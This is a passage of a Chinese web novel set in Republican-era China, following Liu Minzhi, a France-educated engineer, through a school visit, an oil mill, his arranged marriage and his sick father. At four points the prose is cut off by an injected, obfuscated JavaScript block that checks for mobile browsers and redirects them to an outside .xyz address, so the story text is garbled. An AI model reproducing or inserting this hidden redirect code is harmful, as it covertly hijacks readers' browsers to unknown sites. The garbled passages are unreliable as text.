“你懂什么，美国才是最远的。” “刘先生，法国是什么样的？” 刘珉之笑着告诉他们，法国在欧洲，坐船要几十天才能到，法国是最先爆发革命的国家，有悠久强大的历史，希望他们好好学习，以后也去国外学新知识。 “真期待啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501947|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 学生们心驰神往：“刘先生，您真厉害，居然能去洋人的国家念书。” “咳咳。” 教国文的老先生厉咳两声：“都别围着刘先生闹，十分没规矩。短文都作不好，还想去西洋国？” 苏学章适时开口：“行了孩子们，跟着邹先生好好学作文。” “是。” “刘先生还来吗？” “这得看你们用不用功了。” 刘珉之同他们挥手告别，出去关上门。 没一会儿，门又打开，挤着几个脑袋偷看他。 刘珉之失笑。 邹老先生把人头扒进去，重重关上门，这下彻底安静了。 “孩子们真可爱。” 苏学章赞同：“是啊，搞教育还是很有意思的。” “苏校长令新中学焕然一新，比外国学校也不差了。” 苏学章很受用，勉强谦虚几句。 走到二楼，听到学生正朗读英文。 “好，再朗读一遍：Japanesetroopsmassingnearpeiping；localauthoritiesurgerestraint.” 领读的女声英文和中文一样标准，教的内容较难，应该是近期的报纸新闻，学生跟读的磕磕绊绊，她不厌其烦，一遍遍重复。 刘珉之感慨：“居然还有英文课，教授的内容也好，教学生知道些时事。” 苏学章神色骄傲：“刘先生进去看看？” 他连摆手：“不了不了，进去又吵到他们。” 苏学章点头：“时候不早了，学校伙食简陋，还刘先生赏脸吃些。” 刘珉之应了。 苏学章是个很亲和的人，不爱摆架子，刘珉之说话他也用心去听，知道刘珉之学的是机械专业后肃然起敬，说他一直想加强理工教育。 “这东西实用，哪里都用的上，可惜国内人才太少。” “是啊，千年来的科举文化影响太大。其实在国外，倒是理工科瞧不上文学科的多。” 苏学章笑了：“其实我年轻读大学那会儿也一样，读工科的瞧不上学政治的，学政治的瞧不上念文学的，念文学的便去瞧不上念哲学的。明明都是知识，偏要分个高低。” 刘珉之哂然：“看来人的本性在哪里都一样。” “人总需要证明自己强别人弱，权利便是这样诞生的。” 刘珉之记挂着父亲的嘱咐，不敢往深聊。 “刘先生回来打算谋个什么差事？进军务部还是行政部？” 这种问题更是要小心回答，一个说不好便有牵连父兄的风险。 好在刘珉之另有答案，也不妨直说。 “我并不在漳县长待，我已受了同窗的聘，之后去山西做事。” 苏学章失望道：“可惜，我还想能抢刘先生来做教学主任呢。。” 刘珉之自然说承蒙他错爱，自己年轻，哪里担得起。 苏学章又问他机械和自动化的看法，越聊看他越眼热。 “刘先生要常来，可要是能教上几个月书就好了，不，有几天空教几天也好，新中学随时恭候。” 刘珉之失笑，心里难免开心。 5. 榨油坊 好心情延续许久，刘珉之辞了苏校长，不急坐人力车回家，沿着漳县的大路慢慢走，偶尔碰到个熟面孔，便停下来说几句话。 时间是位狗血的剧作家。 一些人一成不变，另一些人辞旧迎新。 刘珉之走到集市，下午已不热闹了，挑菜赶驴来的农人早收了摊儿，只剩下几家铺子开门迎客。 一个瘦小的姑娘杵在肉铺店里，一会儿看看吊挂的半扇羔羊，一会儿瞧瞧案前诡异咧嘴的猪脑袋。光膀子搭烂巾的店主喋喋不休地介绍货品，不时磨两下手里折光的宰刀。姑娘游移不定，站了半天什么也没买，店主说烦了，叫她自己看。 刘珉之好奇地走到肉铺前面。 “小葱？” 女孩一颤，猛地扭头，瞧清是他后松了口气：“二少爷好。” “还真是你，你怎么在这？” “我来买肉。” “怎么？在刘家没吃饱，还要开小灶？” “不是，”小葱重重叹了口气，“我来买所有人的肉。” 女孩不知纠结了多久，嘴皮子都咬破了。 她像是在对刘珉之念叨又像是在自言自语：“到底该买多少？二奶奶说一定要买好今天晚上和明天一早的量，中午只有老太太二奶奶和我们下人吃饭……啊，二少爷您可能在家吃也可能不在，得多备一份儿。不过中午的量少了不急，可以明天再买，但是晚上和明早的量一定要够。府上五个主子十七个下人，钱管家回自己家里吃不用算他，还有两个车夫也——” “停，停。” 刘珉之被她说的晕头转向，简直比和苏学章聊机械工程还费脑子。 “怎么叫你来？家里不是有专门买菜的人？” “崔婶有事出去了。” “那也不该叫你来，钱管家没安排别人？” 小葱人也就和北方的葱一边儿高，面生的嫩，也就十四五岁模样，吩咐清楚了叫她照单子买还好，她自己哪里算的明白。 “不知道，二奶奶和我一起来的。” 刘珉之一愣：“二奶奶呢？” 小葱手一指：“说是去那边等我呢。” “你别买了，咱们找她去。” “不行，”小葱愁眉苦脸，“我马上就买完了。” 刘珉之看她在三尺宽的肉铺彳亍难行，摇摇头，先往她指的方向去了。 下午清静的很，粉面铺子卖完最后一波中饭正清洗锅碗；菜农果农在挑拣次品重新摆放；卖粮油调味的铺子没开灯，黑漆漆的门洞里乱飘桂皮八角干辣椒香；走到榨油坊，是刘珉之小时候最爱闻的花生香油味。 大把大把的炒好的花生倒进磨盘碾碎，再用棉布包裹碾碎的花生，放在槽子里用木龙榨反复重锤，使花生中的油脂渗出，这些油液还要经过沉淀、过滤和脱胶等方法才能变成最终的花生油，但此时已经够香了。 赤膊的汉子打开棉布，捡起一把花生渣，大口咀嚼着。 “还不错，快出干净了。” 花生渣已看不出颗粒感，碾的结结实实压在一起，捏一捏就能做成饼，澄黄色的汁水顺着沟槽流进罐子，诱人的很。 刘珉之顺嘴夸道：“榨的真不错。” 汉子吓了一跳：“您是刘少爷？您怎么在这？” 刘珉之一哂：“你怎么认得我？” 汉子笑道：“在报上见过，刘少爷这身衣裳真精神。” 这年头到处都是办报纸的，刘伯参将儿子学成归来的新闻登在一家当地文化报，看的人还不少。他在报纸上的介绍头衔是“漳县□□名誉部长刘伯参幼子刘珉之”。刘珉之本不愿刊，他在国外厉害人物见多了，觉得自己只是个学士拿不出手，但还是顺从父亲想出风头的心愿。 “让你见笑了。” “不敢不敢，刘少爷是大人物咧。刘少爷快尝尝，这刚出的渣子香的很。” “多谢。” 这不是什么值钱东西，刘珉之没和他客气，直接捻了把尝，花生碎已被碾成完全另一种口感，但花生的本味不减，反被全部逼发出来，果真口齿生香。 一个膀子浑圆的妇人撩帘走出来：“这位是？” “这是刘家的小少爷。” “嫂子好，我过来转转，没打扰你们吧？” 妇人忙摇头，又掀帘子进去了。 刘珉之还没来得及尴尬，她又端着个干净陶碗出来。 “少爷喝口水，这天儿热的很。” 刘珉之道过谢，接来喝了。 那汉子头发都湿完了，用汗巾兜住脑袋囫囵蹭蹭，岔腿坐到地上，他用木瓢舀生水喝，喉结滚动几下，大半瓢水便干了。 妇人用帕子包住头发，接汉子的活儿，开始踩楔子压花生。 刘珉之同他们闲聊：“这活计累的很，赚的多么？” “赚不了几个钱，不过包口饭吃。好在今年的花生不错，油大，一百斤花生能出三十斤油。” “三十斤算很高的？” “是咧，寻常才二十来斤。” 刘珉之站起来看，花生被石锥重重碾过，往两边散开，又滑回槽里被再次碾过，妇人速度还算快，但刘珉之知道她持续不了多久，每一次下压都面临偌大的阻力。 人力太辛苦了，效率也不高。 出油率也没个定数，只能凭借商户的经验，可能这家说高了，那家又说低了。 如果有足够重量的铸钢，可以设计一个螺旋加压的装置，不仅节约不少力气，也可以让出油过程标准化，省的今天油大明天油小，农户来闹店里没压干净。 但是铸钢和加工铸钢的设备，在漳县是没有的。 刘珉之叹气：“我小时候家里就是这么榨油的，十多年过去了，一点变化都没有。” 汉子骄傲地抬起头：“这都是老祖宗一辈一辈传下来的东西。” 那妇人一边压楔子一边搭话：“省城里头都用外国机子，榨的干净还不累人。” “胡说，”汉子不悦，“那都是骗人的，城里的人不老实，把外国货全说成好东西，不给我们乡下人钱赚，我们家压了几十年油了，谁不说我们家的油香？” 妇人冷笑：“你就是舍不得买机子的钱。” 汉子跳起来：“你再胡说八道老子扇烂你！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501948|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“停！”刘珉之忙拦他，“好好的发什么火，夫妻俩有什么话不能好好说？” “哼，这婆娘，”汉子横眉怒目，仿佛在看最可恶的仇人，八国联军进北京城他都未必用这种眼神去看，“天天要买新报纸，还去别人家里听收音机，不知道那个女老师给她讲了什么东西，脑子都听坏了！” 妇人说不过他，将手往裤子上一抹，掀帘子进屋。 “你做什么去？活儿还没干完呢！” 她声音冷漠地传出来：“做饭！” “少爷你瞧瞧，这婆娘就晓得偷懒。” 刘珉之不好评价别人的家事。 “就知道说别人好，别人好，嫁给我哪里亏了她了？少爷你给评评理，是外国的油好还是我们的油好？” 刘珉之语塞，被逼问几句后和稀泥说都好，但是家里的油他更吃的惯。 “我就说吧！” 他拿了个小陶罐，用长柄勺舀已滤好的熟油。 “少爷，您带点回去尝尝，今天才做出来的，炒菜吃香的很！” “不用，家里都有。” “知道您府上不缺，一点心意而已。” 刘珉之推拒不过，要给他钱，他一定不肯收。 “刘少爷，您是不是看不起我？” 中国男人这辈子最在意别人看不看得起他们，而他们的推理方式往往简单粗暴，但凡不顺着他们就是看不起他们。 “好吧。” 刘珉之苦笑着接了，想着告诉小葱她们下次来买油多给些钱。 他们俩忙着互相推拒时，一个半人高的小孩溜进店里，他头大身子小，蹲着勾手捧花生渣子，使劲往嘴里塞，狼吞虎咽。 “嘿！” 汉子大喝一声，那小子只顾着吃，被一巴掌从身后狠狠扇下。 他又抓了两把渣子，硬抗两下打，脱身往外头跑了。 “这混小子，有娘生没娘养的催命鬼。” 汉子恨恨的，对着小孩背影一顿怒骂。 刘珉之呆不住了。 “多谢你的招待，我先走了。” “哎，”汉子摆手，“少爷慢走，常来坐啊，现在是正日子，油都新的很。” 刘珉之出了店子，手里还提着一小壶油，长叹一口气。 一个椭圆形的脑袋蹲在台阶底下，一点一点的，十分专注。 正是那偷油小子。 刘珉之拍拍他肩，他回头，脸上糊的全是花生渣子，但这张脸已够刘珉之认清了，正是卖豆腐的张嫂家的孩子，昨个儿还在刘府门前给他鼓掌呢。 怎么饿成这样？身上也脏兮兮的。 刘珉之柔声道：“去别人家里要东西吃可以，不能偷，知道吗？” 小孩子迷茫地看他，两手把脸上的花生渣推进嘴里，哽着脖子吞了。 刘珉之心软，摸摸他的脑袋：“是没吃饭吗？” 小孩猛地避开他的手，神色惊惧。 怎么反应这么大？ 刘珉之正困惑着，一个熟悉的、干脆利落的声音冒出来。 “二少爷，你在和小哑巴讲什么悄悄话？” 6. 相处 刘珉之呆若木鸡。 “他是哑巴？” “是啊，耳朵也不好，听说是娘胎里带的毛病。” 刘珉之揉揉小孩的耳朵：“真听不见？” 男孩打开他的手，往远处跑了。 刘珉之极失望，原来小孩昨天给自己的演讲鼓掌是乱鼓的。 王桂英往他手上一瞥。 “你拿的是什么？” “是花生油。” 王桂英狐疑：“你中午在外头没吃饱？” 刘珉之哭笑不得：“不是，路过榨油铺子，人家硬送的。” 王桂英耸肩，提起手上的豆腐：“你名气还真大，喏，我路过豆腐摊，就是那小哑巴的奶奶支的摊子，硬要塞一块豆腐给我，说是送给刘少爷吃的。” “是张婶吧，我昨日随口一说，她竟真往心里去了，”刘珉之心里一软，“我得去谢谢她。” 他往记忆中张婶的豆腐坊走去。 “诶！你去哪？”王桂英叫住他，“豆腐摊在那边呢。” 刘珉之愣住，难道他记错路了？ 王桂英带路，刘珉之跟在她身边一步距离，女人走路很利索，带风似的，宽大的黑色衣袖跟随步伐摆动，簌簌打在后面的白色衬衫上。刘珉之不动声色地落下两步，拉开距离。 “你怎么让小葱一个人买菜？她在肉铺那站了半天，拿不定主意。” 王桂英满不在乎：“不用管她。” 刘珉之被噎住。 他们家一向是男主外女主内，家里女人说了算，男人不当家不许挑理儿。小时候刘家是母亲说了算，后来有几年变成大嫂，再后来又变成母亲。 怎么今天管家的，变成自己的“媳妇”了。 王桂英似乎觉得觉得自己态度不好，又细细解释：“她胆子小，不敢拿主意，其实人挺聪明，我叫她多做事，事情做好了，有底气，就不总想着给你做通房了。” 刘珉之被突如其来的转折说的皱眉：“什么通房？” 王桂英回道：“她爹娘卖她的时候乱说的，什么不是爹娘心狠，是给你谋出路，好好做事，被少爷扶做姨太太就能穿金戴银享一辈子清福了，卖姑娘的人哪个不是这套话，偏她往心里去了。” 这都什么乱七八糟的。 刘珉之叹了口气，原来自己还活在旧时代里。 “你倒是懂的多，说起来一套一套的。” “我也是听家里人说的啊，我差点就被卖了。” 她极坦然，像在说一件小事。 刘珉之走不动了。 “什么时候的事？王鸿要卖你？” 王桂英没说话。 有些问题，不回答已经是回答了。 王鸿怎么是这种人！ 刘珉之咬牙切齿，亏他不知道，不然他给王鸿的悼词能作成檄文。 “真不是个东西。” “也不能怪我爹，我爹常说，落了势的人家比狗还不如。” 刘珉之无法理解。 “既然刘家不嫌弃我，让我过门了，我会好好给你做媳妇的。” 乐观是好事，但这大可不必。 王桂英的袖子又挨上他的衬衫，她刻意走慢了，在偷看刘珉之脸色。 “怎么了？” 王桂英扭捏一阵，发现自己果然不是能憋住话的人：“你想纳小葱吗？” “怎么可能！”刘珉之险些跟不上她的脑回路，“她才多大？就是个小孩子样。” 王桂英松了气，两人无声走了段路，看见路口支着小摊卖豆腐的大娘，正是刘珉之要找的张婶。刘珉之没记错路，只是张婶原先在铺子里卖豆腐，如今换了小摊，在外头卖。 女人突然小声嘟囔：“我都满二十了。” “什么？”刘珉之没听清。 王桂英没好气道：“没什么。” 刘珉之莫名其妙，刚刚聊家里那些糟心事都好好的，这会儿却不开心了。 “张婶。” 裹着烂头巾的女人猛的回头，瞧见来人，从豆腐摊后绕到摊前仔细打量，似乎终于确认两人身份，拘谨地弓腰笑着。 “刘少爷，二奶奶，您俩位怎么来了？” “来谢谢张婶的豆腐。” 她浮肿发胀的手在裙子上揩来揩去：“这有什么好谢的，不就一块豆腐。” 刘珉之笑道：“豆腐是小，张婶的心意难得。” 本是件小事，街坊之间相互说两句客套话。 张婶却眼里一热，紧紧抿着干瘪的、颤抖的嘴唇：“少爷您，您这么尊贵的人，何必对我这种老家伙这么客气。” “别，张婶你别讲这些。” 中年女人的眼睛仿佛是一座峡关，轻易不得打开，打开便犹如泄洪。 “我真是，我这种人不值得的……不值得的……” 刘珉之慌了：“这是怎么了？” “我这种人……怎么配呢、怎么……” 刘珉之和王桂英对视一眼。 王桂英默默掏出黑色的绢子给她，她使劲摆手，扯下头上的烂头巾盖住眼睛，强止住泪。 “对不住，让少爷和二奶奶看笑话了。” 她脸上的皱纹被揉开许多，羞赧地笑着。 王桂英收回绢子：“没有。” 刘珉之没话找话：“张婶，你怎么在这边摆摊？以前那边的生意不做了？” “那个，那个铺子给别人了。” “这样啊。” 瞧她样子，过的很不好，刘珉之不便多问。 王桂英并不知道张婶原先有个自己的小店，可以在店里做豆腐卖豆腐，不用出来风吹日晒。王桂英嫁到县里五个多月，只知道这女人卖的豆腐便宜好吃，还带着个聋哑的男孩。 “二奶奶，这钱是您刚才落在我摊上的，我把钱还您。” 张婶从怀里掏出几枚铜元。 “这不是我落的，这是给你的豆腐钱，你拿着吧。” “豆腐是我请少爷吃的，不要钱。” “做生意都不容易，哪能不要钱？” “是啊张婶，收下吧。” “不行。” 刘珉之缓声劝她：“张婶，您就别跟我客气了，我白吃白拿心里过不去的。” “那也不行，就算要收，一块豆腐五文，我只收五文。” 她固执的很，两人推拒不过，将多余的钱收了。 张婶明显松了口气，自语道：“就是，不能多要，不能多要，我只收五文钱。” 两人又对视一眼。 豆腐摊连块遮太阳的布盖都没有，不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501949|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好落脚，刘珉之与张婶略说几句话便告辞了。 王桂英抛着手里几枚铜元。 刘珉之感慨：“倒是我不好，想来看看张婶，还让她少拿了钱。” “嗯。” 王桂英心不在焉，他们俩并排走着，刘珉之的影子比她高出一截。 “张婶以前不是这样的，我小时候大家都叫她豆腐西施。” “嗯。” 日头往西，刘珉之的影子也往她这里偏，王桂英拉长步距，踩在他的影子上。 “她虽然是个寡妇，但是能干，街坊都挺敬重她，小孩子也都喜欢她，这些年竟被磋磨成这样了。” “是啊。” “那个小孩子，我倒是没印象，居然是个聋哑的，可惜了。” “可不是。” 刘珉之惆怅时爱找人说话，说出来他心里就好受多了。王桂英不咸不淡地应着，也能勾住他把话说完。 他想，他对漳县的印象停留在很多年前，如今的漳县是陌生的。 街上迎面来了个醉醺醺的汉子，人长的高大，穿着新式衬衫，衣领却敞到腰肚，就剩最下面一个扣子没散。这人不知喝了多少酒，脸和脖子连着通红泛紫，步伐踉跄的能从东边歪到西边。 刘珉之移到从王桂英右边移到左边。 这下变成王桂英的影子往他那边斜了。 王桂英呆呆看着变化的影子。 “喂，看路。” “哦，哦。” 王桂英回过神，才发现不是在说她。 那醉汉歪扭着撞上刘珉之，整个人的重量倚靠压上，像一只笨重的熊。 亏得刘珉之高，没被这家伙压倒。刘珉之撑起胳膊肘顶住他，另一只手轻拍他的脸：“醒醒。” “嘿嘿，嘿嘿。” 醉汉埋头在刘珉之胸口揉了两把，刘珉之脸色铁青，将人踢开。 醉汉顺势倒在地上，翻了个身，四仰八叉对着太阳。 刘珉之上前踢他两脚：“喂，滚一边去，别挡路。” “嘿，嘿嘿。” 醉汉似乎陷进美好的梦里，纹丝不动。 “别管他了，这种人多的是。” 刘珉之神色厌恶，使劲拍被摸到的地方：“大白天醉成这样，真是个浑人。” 王桂英轻声道：“你倒是跟别人都不一样。” “什么？”刘珉之没反应过来。 “没什么。” 女人的眼睛黑亮。 刘珉之慌忙移开视线。 他又不傻，他能听明白。 两人并排，这条路仿佛走不完似的，沉默对一个人是折磨，对另一个人是暧昧。 “小葱？” 刘珉之感到解脱的欣喜。 瘦小单薄的姑娘捧着一座肉山，只顾盯着山顶别塌，双目炯炯十分严肃。 “二奶奶，二少爷！”她胳膊绷得笔直，“我买完了！” 王桂英上前检查，拎起最上面一根绳头，提起一扇排骨。小葱怀里还有一只羊腿，一条牛里脊。 “怎么全是红肉，鸡鸭鱼都没有吗？” 小葱嘴巴圆张：“啊？” “晚上吃倒没问题，明天早上吃这么大块的肉不消化。” 小葱态度端正：“我再去买！” 7. 刘伯参 “算了，”王桂英叫住她，“买的够多了，先吃着吧。” “哦。” 小葱做错了事，低着脑袋。 “花了多少钱？” 小葱掰着手指一一道来：“猪肉250文一斤，排骨重四斤三两，按四斤算，收一枚银元。羊腿肉200文一斤，一条羊腿五斤二两，按五斤算，共一枚银元。牛里脊一斤300文，我买的少，只有两斤多点，算600文，一共是两元600文。” 她掏出剩下的钱，王桂英看也没看：“不用，你留着。” 小葱把剩下几枚铜元收了。 刘珉之叹气，张婶一块豆腐才卖五文，一斤猪肉顶几板豆腐，普通人家怕是吃不起肉的。 王桂英下令：“回去吧。” 刘珉之一愣：“不用买素菜吗？光吃肉？” “素菜早上买过了，早市比晚市新鲜。开肉铺的背后都有大主顾，这家铺子是供县公署的，每天都是这个点杀猪羊，再装车运到县衙食堂，所以我们也这个点来买。” 刘珉之倒是第一次听说：“怪不得。” 小葱心情好了，觉得不成器的不止她一个：“二少爷哪里知道这些。” 王桂英瞪她：“没规矩。” 小葱缩起肩膀。 三人坐人力车回府，刘伯参上今日放值的早，正和老太太在园子里晒太阳。见他们一同回来，刘伯参斜眼一瞥。 老太太欢喜的很，拄拐来摸两人的手：“好，好，瞧见你们夫妻俩感情好，我就放心了。” 刘珉之听到这话，身上痒的厉害。 刘伯参没往这边看，老太太又小声道：“客房不许睡了，早点给我生个大胖孙子，知不知道？” 王桂英红了脸：“娘，我知道的。” 刘珉之心里咯噔一声。 他倒是省了被催婚这一步，直接被催育了。 “说起来。” 刘伯参忽然起了话头，他一说话，众人都要看他。 老人家不紧不慢地，开口就要将事情定下：“当日桂英过门，是事从权宜，草草就办了。如今珉之回来了，得补办一场。” “爹！” 刘珉之真慌了。 刘伯参瞪眼：“爹什么爹？” “我……我不想办。” “你说不办就不办？咱们刘家多久没热闹过了？” 王桂英急忙打圆场：“爹，我过了门拜了祖宗的，没必要再费那个钱。” 刘珉之接话：“就是，外头到处在打战，财不外露啊爹。” “咳、咳。” 刘珉之忙去帮他拍背，他越咳越凶。 “你翅膀硬了，不想要这个家了，是不是？” 怎么把话拐到这儿来了。 刘珉之不敢回嘴。 “哼。” 刘伯参打开他的手，从怀里掏出一个信封。 “这是？” 刘伯参丢到地上。 “山西来的信，找你的。” 刘珉之捡起来一看信封，大喜，上面赫然写着山西晋华制造厂沈承枢寄。 沈承枢是山西人，是与他同在法国留学的好友。山西自民国二十一年以来，大力发展“造业救国”、“自强救国”，短短几年，铁路、银行、冶金、化工兵器都在急速发展。沈承枢家里有几个制造厂，造些肥皂、蜡烛、五金之类的商品，规模不大不小。沈承枢少年志气，打算毕业回国继承家业，立马革新自动机械化，在山西制造业打响名号。 他这封信，正是邀请刘珉之与他一起大展拳脚。 只是，信已被拆过了。 “你要去山西的事，怎么不跟我说？” 刘伯参神色不悦，刘珉之小心翼翼地回话。 “还没来得及。” “胡说！” 刘珉之啪嗒一声跪倒在地，刘伯参嘭嘭敲着手杖，犹不过瘾，往刘珉之脑袋上来了两下，用的还是刘珉之从法国带回来作礼物的那根西式手杖。 老太太心疼了：“好好讲话，和孩子置什么气？” 刘伯参瞪她：“这没你们女人的事儿！你们俩进去。” 老太太叹气，王桂英扶她走了，剩下父子二人在庭中。 “爹。” 刘珉之瞥他。 “你还认我这个爹？” 刘珉之挪着膝盖，跪行到他身侧，帮他捶腿：“您这就是在说笑话了，您是我爹，这可比溥仪坐皇帝老子的位置稳当多了。” 刘伯参噗嗤笑了，笑着笑着又咳嗽起来。 刘珉之轻轻顺他的背：“爹，您身子不好就在家呆着，□□也没什么要紧事，天天去太累了。” “我呀，也去不了几次喽。” 刘伯参摊在藤椅上，他实在太老了，体型缩水的像个小孩。 “你爹我啊，没本事，年轻的时候就考上个酸秀才，官儿都当不上，全靠祖上传下来的基业吃饭。” 父亲很少提这些事，刘珉之握住他的手，安静听着。 “祖上的田，每年收好几千石米，祖上的铺子，每年分息进账几千块钱，这些产业养活咱们刘家世世代代是足够的。我也是靠这笔钱，把你和你大哥养大的。” 刘珉之摩挲着父亲树皮一样的手。 “可惜啊。” 刘伯参闭上眼，缓了一会儿，才继续说。 “可惜你们两个都太有本事了。” 刘珉之抿着唇，没说话。 “你大哥在军队做事，军队那种地方是人呆的吗？哪天得罪人一份文件就给送到战场上去。别看你大哥现在风光，我是成天的为他提心吊胆。你这个小的，又不愿意在家呆，从小就说要去外面读书。读书是好事，去就去了。现在你大了，更留不住。” “爹……” 刘伯参摆摆手，示意他别说话。 “我就快死了，我对你就一个要求，和桂英好好过日子，早点给我生两个大胖孙子。我的长孙才十一岁，就被你那个狠心的大哥送到上海去，送出去的孩子哪还有回的来的？你长大了我管不了，可你得给我留下个孙子啊，我刘家的家业不能没有人继承！” 老人见瞪圆了眼睛。 人老了，皮肤松弛，他眼周的肌肤像禽类的褶皱，粗糙的，如同砂砾；像海岸的礁石，亘古的，如同朽木。 刘珉之闷闷不乐，可他是父亲，他不容反驳。 刘琼越今天依旧很晚才回，钱管家去了田庄明天才回来。晚上还是他们几人吃饭，吃完饭，王桂英盯着下人干活，晚些又伺候两位老人洗漱休息，最后再去浴房把自己洗干净。 她回房时已很晚了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501950|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 屋里还亮着烛火，刘珉之穿着宽大的中衣，带着眼镜，坐在书桌前看信。 “珉之贤弟，为国兴业，为家兴财，为己立身，此乃丈夫之志也，贤弟何不早来？” 他看了一遍又一遍，桌上一张白纸，回信一字未动。 王桂英轻轻关上门。 刘珉之慌忙收起信件：“你来了。” 王桂英嗯一声。 她自觉地打开衣柜搬被褥，先铺一张席子，再铺两床厚点的被子。房间很大，她偏紧挨在刘珉之床边铺。 刘珉之干咳两声，上前抢活儿。 “我来吧，我睡地上，你睡床。” “不用。” 刘珉之坚持：“我来。” 女人黑亮的眼睛看他一会儿，把位子让开。 刘珉之松口气，悄悄把被子搬远些。 光线突然暗淡，是女人站起来，将床头的烛火挡住了。 刘珉之下意识去看她。 “你！你在干嘛！” 王桂英无辜地看他。 刘珉之深吸两口气：“换衣服去屏风后头换。” 王桂英不满：“我就脱个外衣，里头有中衣的。” “那也不行，去屏风后头换。” 王桂英磨蹭两下，决定先不跟他犟，去屏风后头把外衣脱了。 刘珉之已钻进地铺里，紧闭着眼。 王桂英蹑手蹑脚地上了床，看了会儿他的背影。 她把床头那张照片立起来，相框撞在柜面，发出一点轻响。 刘珉之装睡装不下去了，转身面对她，一愣。 她看那张照片的眼神，也太……温柔了吧？ “你摆相片在床头做什么？” “看啊。” 刘珉之抿嘴，她落落大方的，倒显得他不好意思了。 “为什么摆这张？” 他并不喜欢这张照片，那时的自己实在太稚气了。 “好看。” 刘珉之哽住。 “不许看，太奇怪了。” 他爬起来，要抢相片。 王桂英慌忙护住：“我收起来就是了。” 她拿去到梳妆台，随便打开一个抽屉放进去，又回来躺下。 “睡觉吧。” “哦。” 她吹熄烛火。 快入秋了，晚间微凉，并不恼人，是舒适快活的凉。 刘珉之突然脖颈一麻，像过了电似的。 一双滑腻的胳膊从身后环住他，女人的身体像蛇一样钻进他的被子，恰到好处的温度，不冷也不热，柔软的、细腻的。 刘珉之大脑一片空白。 王桂英从身后贴住他，圆滚滚的脑袋埋在他肩膀，深深呼了口气。 她抱着献祭般的虔诚。 “不可以。” 什么？ 刘珉之钻出被窝，用被子将她整个包裹起来，抱回床上。 “睡觉吧。” 王桂英一动不动。 月色从格花窗扇里泄进来一点。王桂英能看到丈夫的轮廓。 他并没有回去睡觉，而是到书桌前坐着。 王桂英不知他坐了多久。 等她与羞耻和愤懑斗争累了，沉沉陷入睡眠，刘珉之还坐在那里。 8. 忠贞之士 中国仕人讲究忠心，讲究一臣不侍二主，仕人只能选定一个主子，不管前路如何都得一条路走到黑，这叫“忠贞之士”。 刘珉之中体西用，认为自己既入了西洋科学的道，就该守自由恋爱的贞。 包办婚姻的妻子，是不能爱的。 这不忠贞。 可这妻子似乎抛不开了。 他花了刘家二十几年的钱，现如今也还在花刘家的钱，父亲的命令，他断然忤逆不得。 刘珉之叹气，琢磨了一晚上该怎么回友人沈承枢的信。 到后半夜，困意战胜了其他煎熬，刘珉之趴在书桌上睡着了。 天色方白，外头吵吵嚷嚷。 刘珉之睡眼惺忪地打个哈欠，一伸懒腰，将背上盖的薄被耸了下去。 王桂英人不在屋里，床铺整理的干干净净，地上的被褥和席子也不见踪影。 刘珉之随手将薄被叠好，走出房门。 随手拦住一个下人：“怎么了？慌慌张张的。” “回二少爷，老爷一早起来身子不爽，已叫了医生，小的正要去准备招待茶水。” 刘珉之心下慌张：“老爷怎么样？” “医生才来呢，小的哪里知道。” 下人被喊去干活儿，刘珉之心里擂鼓似的。 小葱端着洗漱的热水毛巾过来：“二少爷，您醒了，二奶奶正吩咐我叫您起床呢。” “老爷怎么样了？二奶奶怎么说？” “不知道，”小葱见刘珉之脸色不好，赶紧补充，“二少爷别担心，老爷不舒坦叫医生是常有的事儿，二奶奶叫您收拾好了再过去。” 刘珉之三两下将自己拾掇干净，往正房跑。 “嘘！” 王桂英拦住他：“医生在里头呢，动静小点儿。” 刘珉之喘着粗气：“爹怎么样？” “早上起来喘不过气儿，说不出话，可能是夜里受了凉，医生一来先给喂了药，老爷子已缓过来、能喘得进气儿了。等医生做完检查再给开个方子。” 刘珉之放下心：“娘呢？” “着了好一会儿急，让她去偏房歇着了。” 正说着话，穿白大褂的中年医生出来了，他是军医院当值的主任医生，一早被小汽车拉来的。 “少爷夫人放心，老先生目前已无大碍。” 